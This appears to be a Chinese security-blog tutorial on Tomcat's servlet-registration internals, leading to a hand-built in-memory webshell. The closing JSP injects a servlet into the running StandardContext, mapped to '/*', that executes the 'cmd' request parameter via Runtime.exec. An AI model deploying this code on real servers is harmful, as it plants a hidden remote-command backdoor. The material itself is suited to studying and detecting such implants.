点击上方蓝字·关注我们
由于传播、利用本公众号菜狗安全所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号菜狗安全及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,会立即删除并致歉。
这篇文章主要分析servlet类型的内存马,部分基础的知识点可以看listener那篇
servlet创建
tomcat源码流程图
调试分析
手搓内存马
servlet创建
还是一样,先创建一个servlet
public class TestServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
System.out.println("触发doget");
String requestURI = req.getRequestURI();
if (requestURI.contains("/caigo")) {
String cmd = req.getParameter("cmd");
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}
}
web.xml中配置一下
<servlet>
<servlet-name>testServlet</servlet-name>
<servlet-class>com.example.servletshell.TestServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>testServlet</servlet-name>
<url-pattern>/caigo</url-pattern>
</servlet-mapping>
启动看下效果
看到效果之后,我们就开始分析,之前我们listener内存马分析的时候,是断点在运行中,也就是在listener已经添加进去后,然后在它加载的信息里面去分析,这样会有一个问题,就是加载的信息太多了,我们分析出来会很乱,所以servlet和后续filter的分析我会在它添加的地方分析它的添加流程
那么回到正题servlet是在哪里添加的呢?这就要涉及到tomcat的运行流程了
tomcat源码流程图
参考文章:
https://blog.csdn.net/u010883443/article/details/107463782
tomcat是如何添加servlet的呢?实际上是通过web.xml读取配置,然后添加的,那么我们想要定位到添加代码,就可以去看web.xml配置解析那一块的流程
通过web.xmlwebConfig()解析xml文档,然后触发configureContext()赋值对象,这里流程图可以看到后续就是我们添加filter和servlet的流程了,那么我们定位到这个类
这里要记得在pom.xml中添加tomcat的包,不然可能搜不到
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.81</version> //版本选择和自己tomcat同版本
</dependency>
然后maven下载源代码
调试分析
直接在这里断点分析
这里后续的操作都是用到这个context,那么这个context我们通过断点,可以看到这个其实就是我们之前listener分析时的StandardContext#context,我们往下看,添加servlet是哪一块
是从这里开始,从前面的流程图也能看到,我们在这里下个断点,看下它的执行流程
这里循环获取web.xml中配置的servlet信息
for (ServletDef servlet : webxml.getServlets().values()){}
创建个空的wrapper对象
Wrapper wrapper = context.createWrapper();
getLoadOnStartup() 方法,通常在Servlet配置中使用,用于获取Servlet的加载顺序。这个方法返回一个 Integer 对象,表示Servlet在启动时的加载顺序。如果返回值为 null,则表示没有指定加载顺序
if (servlet.getLoadOnStartup() != null) {
wrapper.setLoadOnStartup(servlet.getLoadOnStartup().intValue());
}
getEnabled() 方法,通常在Servlet配置中使用,用于获取Servlet的启用状态。这个方法返回一个 Boolean 对象,表示Servlet是否启用。如果返回值为 null,则表示没有明确指定启用状态。
if (servlet.getEnabled() != null) {
wrapper.setEnabled(servlet.getEnabled().booleanValue());
}
这两段代码是做配置检查的
创建完wrapper后走到setName,我们看下传入的是什么
这里是jsp这个是内置的,我这里先跳过,分析我们创建的servlet,会更好理解
选择这个就是我们创建的servlet,这里setName就是获取我们传入的servlet的名称,也就是这个servletName="testServlet"
然后接下来是setRunas,这里值是null,那我们就不用管
然后到setServletClass,对应的值就是我们设置的"com.example.servletshell.TestServlet"
然后通过addChild传入wrapper对象
到这里其实我有点蒙,因为这里只设置了类别名和引用,但是没有传入我们实例化的servlet,这里我查看下资料,是因为servlet有一个懒加载的机制
什么是懒加载?
懒加载(Lazy Loading)是一种延迟初始化的技术,用于在需要时才创建对象或执行某些操作,而不是在程序启动时立即进行。在Servlet中,懒加载意味着Servlet容器不会在应用启动时立即加载和初始化所有的Servlet,而是在第一次请求该Servlet时才进行加载和初始化
就是当我们去访问对应servlet路由的时候,才会去实例化加载我们创建的servlet,然后这里我们可以通过setServlet方法传入我们创建的servlet实例化,就可以解决这个问题
然后servlet传入后,是不是还要设置路由啊,接着往下调
这里可以看到是在addServletMappingDecoded方法中设置的,那么到这里servlet的添加流程我们就分析完了,那么我们就可以开始手搓servlet内存马了
手搓内存马
流程就和我们分析的一样
-
创建servlet
-
获取StandardContext#context
-
创建wrapper并写入servlet信息
-
添加wrapper并添加路由信息
//1、创建servlet
<%
class TestServlet extends HttpServlet {
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
System.out.println("触发doget");
String requestURI = req.getRequestURI();
if (requestURI.contains("/caigo")) {
String cmd = req.getParameter("cmd");
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}
}
%>
<%
//2、获取StandardContext#context
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();
TestLIstener testLIstener = new TestLIstener();
context.addApplicationEventListener(testLIstener);
//3、创建wrapper并写入servlet信息
Wrapper wrapper = context.createWrapper();
wrapper.setName("testservlet");
wrapper.setServletClass(TestServlet.class.getName());
wrapper.setServlet(new TestServlet());
//添加wrapper并添加路由信息
context.addChild(wrapper);
context.addServletMappingDecoded("/*", "testservlet");
%>
效果演示
最后
如有技术问题可扫描交流群二维码进群交流
如果二维码过期,可以加我联系方式备注“交流群”
原文始发于微信公众号(菜狗安全):JAVA安全-手搓内存马系列-Servlet
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论